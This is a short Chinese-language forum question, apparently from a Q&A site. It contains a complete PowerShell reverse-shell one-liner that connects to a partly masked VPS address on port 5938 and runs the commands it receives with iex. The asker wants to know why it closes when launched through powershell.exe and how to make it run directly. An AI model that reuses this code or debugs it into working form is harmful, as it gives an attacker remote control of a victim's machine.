我发现了Powershell的反向外壳,当我手动粘贴到打开的Powershell窗口中以及在VPS上打开侦听器时,但是当我尝试通过放置运行它时,
powershell.exe $sm=(New-Object Net.Sockets.TCPClient("45.77.XXX.XXX",5938)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
它将自动关闭,而无需重新连接并保持窗口打开。我什至当我放-NoExit开关但给出错误时。
如何直接运行它?